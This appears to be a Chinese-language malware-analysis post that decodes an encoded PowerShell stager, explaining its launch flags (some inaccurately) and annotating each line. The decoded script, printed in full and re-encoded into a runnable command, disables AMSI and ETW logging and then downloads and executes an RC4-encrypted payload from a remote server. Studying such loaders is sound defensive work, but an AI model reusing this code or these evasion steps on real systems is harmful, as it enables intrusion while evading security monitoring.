HYAOgAxADEALgAwACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwAkAHMAZQByAD0AJAAoAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAG4AaQBjAG8AZABlAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABBAEEATQBBAEEAdQBBAEQARQBBAEwAZwBBAHgAQQBDADQAQQBNAFEAQQB6AEEARABZAEEATwBnAEEANQBBAEQAQQBBAE8AUQBBAHcAQQBBAD0APQAnACkAKQApADsAJAB0AD0AJwAvAGwAbwBnAGkAbgAvAHAAcgBvAGMAZQBzAHMALgBwAGgAcAAnADsAJAB3AGMALgBIAGUAYQBkAGUAcgBzAC4AQQBkAGQAKAAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwAsACQAdQApADsAJAB3AGMALgBQAHIAbwB4AHkAPQBbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEQAZQBmAGEAdQBsAHQAVwBlAGIAUAByAG8AeAB5ADsAJAB3AGMALgBQAHIAbwB4AHkALgBDAHIAZQBkAGUAbgB0AGkAYQBsAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AQwByAGUAZABlAG4AdABpAGEAbABDAGEAYwBoAGUAXQA6ADoARABlAGYAYQB1AGwAdABOAGUAdAB3AG8AcgBrAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA7ACQAUwBjAHIAaQBwAHQAOgBQAHIAbwB4AHkAIAA9ACAAJAB3AGMALgBQAHIAbwB4AHkAOwAkAEsAPQBbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkALgBHAGUAdABCAHkAdABlAHMAKAAnAEgAdQB2ACwAMwBnAHQAcwBjAH0AIwBfAEUAOgBmAEYAWAB3AG4AMgBiAFUAUABWAHwAaQBNAGUAMAArADUAUgAnACkAOwAkAFIAPQB7ACQARAAsACQASwA9ACQAQQByAGcAcwA7ACQAUwA9ADAALgAuADIANQA1ADsAMAAuAC4AMgA1ADUAfAAlAHsAJABKAD0AKAAkAEoAKwAkAFMAWwAkAF8AXQArACQASwBbACQAXwAlACQASwAuAEMAbwB1AG4AdABdACkAJQAyADUANgA7ACQAUwBbACQAXwBdACwAJABTAFsAJABKAF0APQAkAFMAWwAkAEoAXQAsACQAUwBbACQAXwBdAH0AOwAkAEQAfAAlAHsAJABJAD0AKAAkAEkAKwAxACkAJQAyADUANgA7ACQASAA9ACgAJABIACsAJABTAFsAJABJAF0AKQAlADIANQA2ADsAJABTAFsAJABJAF0ALAAkAFMAWwAkAEgAXQA9ACQAUwBbACQASABdACwAJABTAFsAJABJAF0AOwAkAF8ALQBiAHgAbwByACQAUwBbACgAJABTAFsAJABJAF0AKwAkAFMAWwAkAEgAXQApACUAMgA1ADYAXQB9AH0AOwAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACIAQwBvAG8AawBpAGUAIgAsACIAYwBIAEcAQQBmAGQATABaAEQAQwBFAHQATABNAEsAPQBsAEwAcQA4AFUAdwBpAEUAdQB6AHYASQBRAEQANABqADcAcAA2AEkASgBzAGgAaQBpADEARQA9ACIAKQA7ACQAZABhAHQAYQA9ACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAHMAZQByACsAJAB0ACkAOwAkAGkAdgA9ACQAZABhAHQAYQBbADAALgAuADMAXQA7ACQAZABhAHQAYQA9ACQAZABhAHQAYQBbADQALgAuACQAZABhAHQAYQAuAGwAZQBuAGcAdABoAF0AOwAtAGoAbwBpAG4AWwBDAGgAYQByAFsAXQBdACgAJgAgACQAUgAgACQAZABhAHQAYQAgACgAJABJAFYAKwAkAEsAKQApAHwASQBFAFgA
+
powershell
:表示调用 PowerShell 程序。-noP
:表示不加载配置文件。包括启动时加载的个人配置文件(Profile)和系统级别的配置文件。使用此参数可以在启动 PowerShell 时跳过配置文件的加载,加快启动速度。-sta
:Single Threaded Apartment
表示使用单线程的会话模式。-w 1
:等待指定的时间(以秒为单位)后自动退出 PowerShell。在这里,-w 1
表示等待 1 秒后自动退出 PowerShell。-enc
:表示后面跟着的是一个 Base64 编码的字符串,需要解码后执行。上述 Base64 编码的字符串解码后得到:
"I\u0000f\u0000(\u0000$\u0000P\u0000S\u0000V\u0000e\u0000r\u0000s\u0000i\u0000o\u0000n\u0000T\u0000a\u0000b\u0000l\u0000e\u0000.\u0000P\u0000S\u0000V\u0000e\u0000r\u0000s\u0000i\u0000o\u0000n\u0000.\u0000M\u0000a\u0000j\u0000o\u0000r\u0000 \u0000-\u0000g\u0000e\u0000 \u00003\u0000)\u0000{\u0000$\u0000R\u0000e\u0000f\u0000=\u0000[\u0000R\u0000e\u0000f\u0000]\u0000.\u0000A\u0000s\u0000s\u0000e\u0000m\u0000b\u0000l\u0000y\u0000.\u0000G\u0000e\u0000t\u0000T\u0000y\u0000p\u0000e\u0000(\u0000'\u0000S\u0000y\u0000s\u0000t\u0000e\u0000m\u0000.\u0000M\u0000a\u0000n\u0000a\u0000g\u0000e\u0000m\u0000e\u0000n\u0000t\u0000.\u0000A\u0000u\u0000t\u0000o\u0000m\u0000a\u0000t\u0000i\u0000o\u0000n\u0000.\u0000A\u0000m\u0000s\u0000i\u0000U\u0000t\u0000i\u0000l\u0000s\u0000'\u0000)\u0000;\u0000$\u0000R\u0000e\u0000f\u0000.\u0000G\u0000e\u0000t\u0000F\u0000i\u0000e\u0000l\u0000d\u0000(\u0000'\u0000a\u0000m\u0000s\u0000i\u0000I\u0000n\u0000i\u0000t\u0000F\u0000a\u0000i\u0000l\u0000e\u0000d\u0000'\u0000,\u0000'\u0000N\u0000o\u0000n\u0000P\u0000u\u0000b\u0000l\u0000i\u0000c\u0000,\u0000S\u0000t\u0000a\u0000t\u0000i\u0000c\u0000'\u0000)\u0000.\u0000S\u0000e\u0000t\u0000v\u0000a\u0000l\u0000u\u0000e\u0000(\u0000$\u0000N\u0000u\u0000l\u0000l\u0000,\u0000$\u0000t\u0000r\u0000u\u0000e\u0000)\u0000;\u0000[\u0000S\u0000y\u0000s\u0000t\u0000e\u0000m\u0000.\u0000D\u0000i\u0000a\u0000g\u0000n\u0000o\u0000s\u0000t\u0000i\u0000c\u0000s\u0000.\u0000E\u0000v\u0000e\u0000n\u0000t\u0000i\u0000n\u0000g\u0000.\u0000E\u0000v\u0000e\u0000n\u0000t\u0000P\u0000r\u0000o\u0000v\u0000i\u0000d\u0000e\u0000r\u0000]\u0000.\u0000G\u0000e\u0000t\u0000F\u0000i\u0000e\u0000l\u0000d\u0000(\u0000'\u0000m\u0000_\u0000e\u0000n\u0000a\u0000b\u0000l\u0000e\u0000d\u0000'\u0000,\u0000'\u0000N\u0000o\u0000n\u0000P\u0000u\u0000b\u0000l\u0000i\u0000c\u0000,\u0000I\u0000n\u0000s\u0000t\u0000a\u0000n\u0000c\u0000e\u0000'\u0000)\u0000.\u0000S\u0000e\u0000t\u0000V\u0000a\u0000l\u0000u\u0000e\u0000(\u0000[\u0000R\u0000e\u0000f\u0000]\u0000.\u0000A\u0000s\u0000s\u0000e\u0000m\u0000b\u0000l\u0000y\u0000.\u0000G\u0000e\u0000t\u0000T\u0000y\u0000p\u0000e\u0000(\u0000'\u0000S\u0000y\u0000s\u0000t\u0000e\u0000m\u0000.\u0000M\u0000a\u0000n\u0000a\u0000g\u0000e\u0000m\u0000e\u0000n\u0000t\u0000.\u0000A\u0000u\u0000t\u0000o\u0000m\u0000a\u0000t\u0000i\u0000o\u0000n\u0000.\u0000T\u0000r\u0000a\u0000c\u0000i\u0000n\u0000g\u0000.\u0000P\u0000S\u0000E\u0000t\u0000w\u0000L\u0000o\u0000g\u0000P\u0000r\u0000o\u0000v\u0000i\u0000d\u0000e\u0000r\u0000'\u0000)\u0000.\u0000G\u0000e\u0000t\u0000F\u0000i\u0000e\u0000l\u0000d\u0000(\u0000'\u0000e\u0000t\u0000w\u0000P\u0000r\u0000o\u0000v\u0000i\u0000d\u0000e\u0000r\u0000'\u0000,\u0000'\u0000N\u0000o\u0000n\u0000P\u0000u\u0000b\u0000l\u0000i\u0000c\u0000,\u0000S\u0000t\u0000a\u0000t\u0000i\u0000c\u0000'\u0000)\u0000.\u0000G\u0000e\u0000t\u0000V\u0000a\u0000l\u0000u\u0000e\u0000(\u0000$\u0000n\u0000u\u0000l\u0000l\u0000)\u0000,\u00000\u0000)\u0000;\u0000}\u0000;\u0000[\u0000S\u0000y\u0000s\u0000t\u0000e\u0000m\u0000.\u0000N\u0000e\u0000t\u0000.\u0000S\u0000e\u0000r\u0000v\u0000i\u0000c\u0000e\u0000P\u0000o\u0000i\u0000n\u0000t\u0000M\u0000a\u0000n\u0000a\u0000g\u0000e\u0000r\u0000]\u0000:\u0000:\u0000E\u0000x\u0000p\u0000e\u0000c\u0000t\u00001\u00000\u00000\u0000C\u0000o\u0000n\u0000t\u0000i\u0000n\u0000u\u0000e\u0000=\u00000\u0000;\u0000$\u0000w\u0000c\u0000=\u0000N\u0000e\u0000w\u0000-\u0000O\u0000b\u0000j\u0000e\u0000c\u0000t\u0000 \u0000S\u0000y\u0000s\u0000t\u0000e\u0000m\u0000.\u0000N\u0000e\u0000t\u0000.\u0000W\u0000e\u0000b\u0000C\u0000l\u0000i\u0000e\u0000n\u0000t\u0000;\u0000$\u0000u\u0000=\u0000'\u0000M\u0000o\u0000z\u0000i\u0000l\u0000l\u0000a\u0000/\u00005\u0000.\u00000\u0000 \u0000(\u0000W\u0000i\u0000n\u0000d\u0000o\u0000w\u0000s\u0000 \u0000N\u0000T\u0000 \u00006\u0000.\u00001\u0000;\u0000 \u0000W\u0000O\u0000W\u00006\u00004\u0000;\u0000 \u0000T\u0000r\u0000i\u0000d\u0000e\u0000n\u0000t\u0000/\u00007\u0000.\u00000\u0000;\u0000 \u0000r\u0000v\u0000:\u00001\u00001\u0000.\u00000\u0000)\u0000 \u0000l\u0000i\u0000k\u0000e\u0000 \u0000G\u0000e\u0000c\u0000k\u0000o\u0000'\u0000;\u0000$\u0000s\u0000e\u0000r\u0000=\u0000$\u0000(\u0000[\u0000T\u0000e\u0000x\u0000t\u0000.\u0000E\u0000n\u0000c\u0000o\u0000d\u0000i\u0000n\u0000g\u0000]\u0000:\u0000:\u0000U\u0000n\u0000i\u0000c\u0000o\u0000d\u0000e\u0000.\u0000G\u0000e\u0000t\u0000S\u0000t\u0000r\u0000i\u0000n\u0000g\u0000(\u0000[\u0000C\u0000o\u0000n\u0000v\u0000e\u0000r\u0000t\u0000]\u0000:\u0000:\u0000F\u0000r\u0000o\u0000m\u0000B\u0000a\u0000s\u0000e\u00006\u00004\u0000S\u0000t\u0000r\u0000i\u0000n\u0000g\u0000(\u0000'\u0000a\u0000A\u0000B\u00000\u0000A\u0000H\u0000Q\u0000A\u0000c\u0000A\u0000A\u00006\u0000A\u0000C\u00008\u0000A\u0000L\u0000w\u0000A\u0000x\u0000A\u0000D\u0000A\u0000A\u0000M\u0000A\u0000A\u0000u\u0000A\u0000D\u0000E\u0000A\u0000L\u0000g\u0000A\u0000x\u0000A\u0000C\u00004\u0000A\u0000M\u0000Q\u0000A\u0000z\u0000A\u0000D\u0000Y\u0000A\u0000O\u0000g\u0000A\u00005\u0000A\u0000D\u0000A\u0000A\u0000O\u0000Q\u0000A\u0000w\u0000A\u0000A\u0000=\u0000=\u0000'\u0000)\u0000)\u0000)\u0000;\u0000$\u0000t\u0000=\u0000'\u0000/\u0000l\u0000o\u0000g\u0000i\u0000n\u0000/\u0000p\u0000r\u0000o\u0000c\u0000e\u0000s\u0000s\u0000.\u0000p\u0000h\u0000p\u0000'\u0000;\u0000$\u0000w\u0000c\u0000.\u0000H\u0000e\u0000a\u0000d\u0000e\u0000r\u0000s\u0000.\u0000A\u0000d\u0000d\u0000(\u0000'\u0000U\u0000s\u0000e\u0000r\u0000-\u0000A\u0000g\u0000e\u0000n\u0000t\u0000'\u0000,\u0000$\u0000u\u0000)\u0000;\u0000$\u0000w\u0000c\u0000.\u0000P\u0000r\u0000o\u0000x\u0000y\u0000=\u0000[\u0000S\u0000y\u0000s\u0000t\u0000e\u0000m\u0000.\u0000N\u0000e\u0000t\u0000.\u0000W\u0000e\u0000b\u0000R\u0000e\u0000q\u0000u\u0000e\u0000s\u0000t\u0000]\u0000:\u0000:\u0000D\u0000e\u0000f\u0000a\u0000u\u0000l\u0000t\u0000W\u0000e\u0000b\u0000P\u0000r\u0000o\u0000x\u0000y\u0000;\u0000$\u0000w\u0000c\u0000.\u0000P\u0000r\u0000o\u0000x\u0000y\u0000.\u0000C\u0000r\u0000e\u0000d\u0000e\u0000n\u0000t\u0000i\u0000a\u0000l\u0000s\u0000 \u0000=\u0000 \u0000[\u0000S\u0000y\u0000s\u0000t\u0000e\u0000m\u0000.\u0000N\u0000e\u0000t\u0000.\u0000C\u0000r\u0000e\u0000d\u0000e\u0000n\u0000t\u0000i\u0000a\u0000l\u0000C\u0000a\u0000c\u0000h\u0000e\u0000]\u0000:\u0000:\u0000D\u0000e\u0000f\u0000a\u0000u\u0000l\u0000t\u0000N\u0000e\u0000t\u0000w\u0000o\u0000r\u0000k\u0000C\u0000r\u0000e\u0000d\u0000e\u0000n\u0000t\u0000i\u0000a\u0000l\u0000s\u0000;\u0000$\u0000S\u0000c\u0000r\u0000i\u0000p\u0000t\u0000:\u0000P\u0000r\u0000o\u0000x\u0000y\u0000 \u0000=\u0000 \u0000$\u0000w\u0000c\u0000.\u0000P\u0000r\u0000o\u0000x\u0000y\u0000;\u0000$\u0000K\u0000=\u0000[\u0000S\u0000y\u0000s\u0000t\u0000e\u0000m\u0000.\u0000T\u0000e\u0000x\u0000t\u0000.\u0000E\u0000n\u0000c\u0000o\u0000d\u0000i\u0000n\u0000g\u0000]\u0000:\u0000:\u0000A\u0000S\u0000C\u0000I\u0000I\u0000.\u0000G\u0000e\u0000t\u0000B\u0000y\u0000t\u0000e\u0000s\u0000(\u0000'\u0000H\u0000u\u0000v\u0000,\u00003\u0000g\u0000t\u0000s\u0000c\u0000}\u0000#\u0000_\u0000E\u0000:\u0000f\u0000F\u0000X\u0000w\u0000n\u00002\u0000b\u0000U\u0000P\u0000V\u0000|\u0000i\u0000M\u0000e\u00000\u0000+\u00005\u0000R\u0000'\u0000)\u0000;\u0000$\u0000R\u0000=\u0000{\u0000$\u0000D\u0000,\u0000$\u0000K\u0000=\u0000$\u0000A\u0000r\u0000g\u0000s\u0000;\u0000$\u0000S\u0000=\u00000\u0000.\u0000.\u00002\u00005\u00005\u0000;\u00000\u0000.\u0000.\u00002\u00005\u00005\u0000|\u0000%\u0000{\u0000$\u0000J\u0000=\u0000(\u0000$\u0000J\u0000+\u0000$\u0000S\u0000[\u0000$\u0000_\u0000]\u0000+\u0000$\u0000K\u0000[\u0000$\u0000_\u0000%\u0000$\u0000K\u0000.\u0000C\u0000o\u0000u\u0000n\u0000t\u0000]\u0000)\u0000%\u00002\u00005\u00006\u0000;\u0000$\u0000S\u0000[\u0000$\u0000_\u0000]\u0000,\u0000$\u0000S\u0000[\u0000$\u0000J\u0000]\u0000=\u0000$\u0000S\u0000[\u0000$\u0000J\u0000]\u0000,\u0000$\u0000S\u0000[\u0000$\u0000_\u0000]\u0000}\u0000;\u0000$\u0000D\u0000|\u0000%\u0000{\u0000$\u0000I\u0000=\u0000(\u0000$\u0000I\u0000+\u00001\u0000)\u0000%\u00002\u00005\u00006\u0000;\u0000$\u0000H\u0000=\u0000(\u0000$\u0000H\u0000+\u0000$\u0000S\u0000[\u0000$\u0000I\u0000]\u0000)\u0000%\u00002\u00005\u00006\u0000;\u0000$\u0000S\u0000[\u0000$\u0000I\u0000]\u0000,\u0000$\u0000S\u0000[\u0000$\u0000H\u0000]\u0000=\u0000$\u0000S\u0000[\u0000$\u0000H\u0000]\u0000,\u0000$\u0000S\u0000[\u0000$\u0000I\u0000]\u0000;\u0000$\u0000_\u0000-\u0000b\u0000x\u0000o\u0000r\u0000$\u0000S\u0000[\u0000(\u0000$\u0000S\u0000[\u0000$\u0000I\u0000]\u0000+\u0000$\u0000S\u0000[\u0000$\u0000H\u0000]\u0000)\u0000%\u00002\u00005\u00006\u0000]\u0000}\u0000}\u0000;\u0000$\u0000w\u0000c\u0000.\u0000H\u0000e\u0000a\u0000d\u0000e\u0000r\u0000s\u0000.\u0000A\u0000d\u0000d\u0000(\u0000\"\u0000C\u0000o\u0000o\u0000k\u0000i\u0000e\u0000\"\u0000,\u0000\"\u0000c\u0000H\u0000G\u0000A\u0000f\u0000d\u0000L\u0000Z\u0000D\u0000C\u0000E\u0000t\u0000L\u0000M\u0000K\u0000=\u0000l\u0000L\u0000q\u00008\u0000U\u0000w\u0000i\u0000E\u0000u\u0000z\u0000v\u0000I\u0000Q\u0000D\u00004\u0000j\u00007\u0000p\u00006\u0000I\u0000J\u0000s\u0000h\u0000i\u0000i\u00001\u0000E\u0000=\u0000\"\u0000)\u0000;\u0000$\u0000d\u0000a\u0000t\u0000a\u0000=\u0000$\u0000w\u0000c\u0000.\u0000D\u0000o\u0000w\u0000n\u0000l\u0000o\u0000a\u0000d\u0000D\u0000a\u0000t\u0000a\u0000(\u0000$\u0000s\u0000e\u0000r\u0000+\u0000$\u0000t\u0000)\u0000;\u0000$\u0000i\u0000v\u0000=\u0000$\u0000d\u0000a\u0000t\u0000a\u0000[\u00000\u0000.\u0000.\u00003\u0000]\u0000;\u0000$\u0000d\u0000a\u0000t\u0000a\u0000=\u0000$\u0000d\u0000a\u0000t\u0000a\u0000[\u00004\u0000.\u0000.\u0000$\u0000d\u0000a\u0000t\u0000a\u0000.\u0000l\u0000e\u0000n\u0000g\u0000t\u0000h\u0000]\u0000;\u0000-\u0000j\u0000o\u0000i\u0000n\u0000[\u0000C\u0000h\u0000a\u0000r\u0000[\u0000]\u0000]\u0000(\u0000&\u0000 \u0000$\u0000R\u0000 \u0000$\u0000d\u0000a\u0000t\u0000a\u0000 \u0000(\u0000$\u0000I\u0000V\u0000+\u0000$\u0000K\u0000)\u0000)\u0000|\u0000I\u0000E\u0000X\u0000"
+
里面的 \u0000
是原始命令 utf-16 le 编码后每个英文字符的低字节, powershell -enc
的传入参数即为这种 Base64 编码的 UTF-16 LE 编码的命令
这里直接 base64 解码后看到的这串字符可读性很差, 需要去掉 \u0000
再读, 甚至对于一些(在线的) base64 解码功能来讲, 可能解码后不支持 utf-16 le 的显示而出现乱码
可以使用如下脚本来构造这种编码的命令字符串
import base64
+
+def gen_enc_cmd(plain_cmd: str) -> str:
+ """将 cmd 先 Unicode(UTF-16 LE) 编码然后 base64 编码"""
+ return base64.b64encode(plain_cmd.encode('utf-16-le')).decode()
+
+print(gen_enc_cmd('dir'))
+
去除 \u0000
并规范化后得到:
# 检查 PowerShell 版本是否为 3 及以上
+If ($PSVersionTable.PSVersion.Major -ge 3) {
+ # 禁用 AMSI (Antimalware Scan Interface) 以规避潜在的扫描
+ $Ref = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils');
+ $Ref.GetField('amsiInitFailed', 'NonPublic,Static').SetValue($Null, $true);
+
+ # 禁用 PowerShell 的 ETW (Event Tracing for Windows) 日志记录
+ [System.Diagnostics.Eventing.EventProvider].GetField('m_enabled', 'NonPublic,Instance').SetValue(
+ [Ref].Assembly.GetType(
+ 'System.Management.Automation.Tracing.PSEtwLogProvider'
+ ).GetField(
+ 'etwProvider', 'NonPublic,Static'
+ ).GetValue($null),
+ 0
+ );
+}
+
+# 禁用 HTTP 请求中的 "Expect: 100-Continue" 标头
+[System.Net.ServicePointManager]::Expect100Continue = 0;
+
+# 创建 System.Net.WebClient 类的新实例
+$wc = New-Object System.Net.WebClient;
+
+# 定义用于 HTTP 请求头的用户代理字符串
+$u = 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';
+
+# 解码并存储 base64 编码的服务器 URL
+# "h\u0000t\u0000t\u0000p\u0000:\u0000/\u0000/\u00001\u00000\u00000\u0000.\u00001\u0000.\u00001\u0000.\u00001\u00003\u00006\u0000:\u00009\u00000\u00009\u00000\u0000"
+# "http://100.1.1.136:9090"
+$ser = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('aAB0AHQAcAA6AC8ALwAxADAAMAAuADEALgAxAC4AMQAzADYAOgA5ADAAOQAwAA==')));
+
+# 定义目标 URL 路径
+$t = '/login/process.php';
+
+# 将用户代理标头添加到 Web 客户端
+$wc.Headers.Add('User-Agent', $u);
+
+# 配置 Web 客户端以使用默认的系统代理设置
+$wc.Proxy = [System.Net.WebRequest]::DefaultWebProxy;
+$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;
+$Script:Proxy = $wc.Proxy;
+
+# 将加密密钥转换为 ASCII 字节
+$K = [System.Text.Encoding]::ASCII.GetBytes('Huv,3gtsc}#_E:fFXwn2bUPV|iMe0+5R');
+
+# 定义用于自定义加密算法的函数
+$R = {
+ $D, $K = $Args;
+ $S = 0..255;
+ 0..255 | % {
+ $J = ($J + $S[$_] + $K[$_ % $K.Count]) % 256;
+ $S[$_], $S[$J] = $S[$J], $S[$_];
+ };
+ $D | % {
+ $I = ($I + 1) % 256;
+ $H = ($H + $S[$I]) % 256;
+ $S[$I], $S[$H] = $S[$H], $S[$I];
+ $_ -bxor $S[($S[$I] + $S[$H]) % 256];
+ };
+};
+
+# 将特定的 Cookie 添加到 Web 客户端标头
+$wc.Headers.Add("Cookie", "cHGAfdLZDCEtLMK=lLq8UwiEuzvIQD4j7p6IJshii1E=");
+
+# 从指定的 URL 下载数据并将其存储在 $data 中
+$data = $wc.DownloadData($ser + $t);
+
+# 从下载的数据中提取初始化向量 (IV)
+$iv = $data[0..3];
+
+# 从下载的数据中移除 IV
+$data = $data[4..$data.length];
+
+# 使用自定义加密函数对数据进行解密并执行
+-join [Char[]](& $R $data ($IV + $K)) | IEX
+
+
[System.Net.ServicePointManager]::Expect100Continue = 0;
在HTTP通信中,客户端可以在发送大量数据之前发送一个 Expect: 100-continue
请求头部,以询问服务器是否准备好接收数据。 服务器可以回复“HTTP/1.1 100 Continue”表示准备好接收,然后客户端继续发送数据。
这里将其设置为0以禁用 Expect: 100-continue
头部机制,使得客户端发送数据时不再等待服务器的确认
也许是出于减少上线步骤的考量, 也许是有些防病毒措施对于这个字段有监测点
IEX
- Invoke-Expression
将上述脚本重新放到编码脚本中跑一遍得到编码后的命令在命令行中执行:
powershell -noP -sta -w 1 -enc CgAjACAAwGjlZyAAUABvAHcAZQByAFMAaABlAGwAbAAgAEhyLGcvZiZUOk4gADMAIADKU+VOCk4KAEkAZgAgACgAJABQAFMAVgBlAHIAcwBpAG8AbgBUAGEAYgBsAGUALgBQAFMAVgBlAHIAcwBpAG8AbgAuAE0AYQBqAG8AcgAgAC0AZwBlACAAMwApACAAewAKACAAIAAgACAAIwAgAIF5KHUgAEEATQBTAEkAIAAoAEEAbgB0AGkAbQBhAGwAdwBhAHIAZQAgAFMAYwBhAG4AIABJAG4AdABlAHIAZgBhAGMAZQApACAA5U7EiX+QXG8oV4R2a2LPYwoAIAAgACAAIAAkAFIAZQBmACAAPQAgAFsAUgBlAGYAXQAuAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBBAG0AcwBpAFUAdABpAGwAcwAnACkAOwAKACAAIAAgACAAJABSAGUAZgAuAEcAZQB0AEYAaQBlAGwAZAAoACcAYQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcALAAgACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALgBTAGUAdABWAGEAbAB1AGUAKAAkAE4AdQBsAGwALAAgACQAdAByAHUAZQApADsACgAKACAAIAAgACAAIwAgAIF5KHUgAFAAbwB3AGUAcgBTAGgAZQBsAGwAIACEdiAARQBUAFcAIAAoAEUAdgBlAG4AdAAgAFQAcgBhAGMAaQBuAGcAIABmAG8AcgAgAFcAaQBuAGQAbwB3AHMAKQAgAOVl11+wi1VfCgAgACAAIAAgAFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBFAHYAZQBuAHQAaQBuAGcALgBFAHYAZQBuAHQAUAByAG8AdgBpAGQAZQByAF0ALgBHAGUAdABGAGkAZQBsAGQAKAAnAG0AXwBlAG4AYQBiAGwAZQBkACcALAAgACcATgBvAG4AUAB1AGIAbABpAGMALABJAG4AcwB0AGEAbgBjAGUAJwApAC4AUwBlAHQAVgBhAGwAdQBlACgACgAgACAAIAAgACAAIAAgACAAWwBSAGUAZgBdAC4AQQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQAVAB5AHAAZQAoAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJwBTAHkAcwB0AGUAbQAuAE0AYQBuAGEAZwBlAG0AZQBuAHQALgBBAHUAdABvAG0AYQB0AGkAbwBuAC4AVAByAGEAYwBpAG4AZwAuAFAAUwBFAHQAdwBMAG8AZwBQAHIAbwB2AGkAZABlAHIAJwAKACAAIAAgACAAIAAgACAAIAApAC4ARwBlAHQARgBpAGUAbABkACgACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAnAGUAdAB3AFAAcgBvAHYAaQBkAGUAcgAnACwAIAAnAE4AbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwAKACAAIAAgACAAIAAgACAAIAApAC4ARwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACkALAAgAAoAIAAgACAAIAAgACAAIAAgADAACgAgACAAIAAgACkAOwAKAH0ACgAKACMAIACBeSh1IABIAFQAVABQACAA94tCbC1OhHYgACIARQB4AHAAZQBjAHQAOgAgADEAMAAwAC0AQwBvAG4AdABpAG4AdQBlACIAIAAHaDRZCgBbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AEUAeABwAGUAYwB0ADEAMAAwAEMAbwBuAHQAaQBuAHUAZQAgAD0AIAAwADsACgAKACMAIAAbUvpeIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAIAB7fIR2sGWeW4tPCgAkAHcAYwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsACgAKACMAIACaW0lOKHWOTiAASABUAFQAUAAgAPeLQmw0WYR2KHU3YuNOBnRXWyZ7Mk4KACQAdQAgAD0AIAAnAE0AbwB6AGkAbABsAGEALwA1AC4AMAAgACgAVwBpAG4AZABvAHcAcwAgAE4AVAAgADYALgAxADsAIABXAE8AVwA2ADQAOwAgAFQAcgBpAGQAZQBuAHQALwA3AC4AMAA7ACAAcgB2ADoAMQAxAC4AMAApACAAbABpAGsAZQAgAEcAZQBjAGsAbwAnADsACgAKACMAIADjiQF4dl5YW6hQIABiAGEAcwBlADYANAAgABZ/AXiEdg1noVJoViAAVQBSAEwACgAjACAAIgBoAAAAdAAAAHQAAABwAAAAOgAAAC8AAAAvAAAAMQAAADAAAAAwAAAALgAAADEAAAAuAAAAMQAAAC4AAAAxAAAAMwAAADYAAAA6AAAAOQAAADAAAAA5AAAAMAAAACIACgAjACAAIgBoAHQAdABwADoALwAvADEAMAAwAC4AMQAuADEALgAxADMANgA6ADkAMAA5ADAAIgAKACQAcwBlAHIAIAA9ACAAJAAoAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAG4AaQBjAG8AZABlAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABBAEEATQBBAEEAdQBBAEQARQBBAEwAZwBBAHgAQQBDADQAQQBNAFEAQQB6AEEARABZAEEATwBnAEEANQBBAEQAQQBBAE8AUQBBAHcAQQBBAD0APQAnACkAKQApADsACgAKACMAIACaW0lO7nYHaCAAVQBSAEwAIADvjYRfCgAkAHQAIAA9ACAAJwAvAGwAbwBnAGkAbgAvAHAAcgBvAGMAZQBzAHMALgBwAGgAcAAnADsACgAKACMAIAAGXCh1N2LjTgZ0B2g0WfttoFIwUiAAVwBlAGIAIACiWzdi73oKACQAdwBjAC4ASABlAGEAZABlAHIAcwAuAEEAZABkACgAJwBVAHMAZQByAC0AQQBnAGUAbgB0ACcALAAgACQAdQApADsACgAKACMAIABNkW5/IABXAGUAYgAgAKJbN2LveuVOf08oddiepIuEdvt8337jTgZ0votufwoAJAB3AGMALgBQAHIAbwB4AHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBEAGUAZgBhAHUAbAB0AFcAZQBiAFAAcgBvAHgAeQA7AAoAJAB3AGMALgBQAHIAbwB4AHkALgBDAHIAZQBkAGUAbgB0AGkAYQBsAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAE4A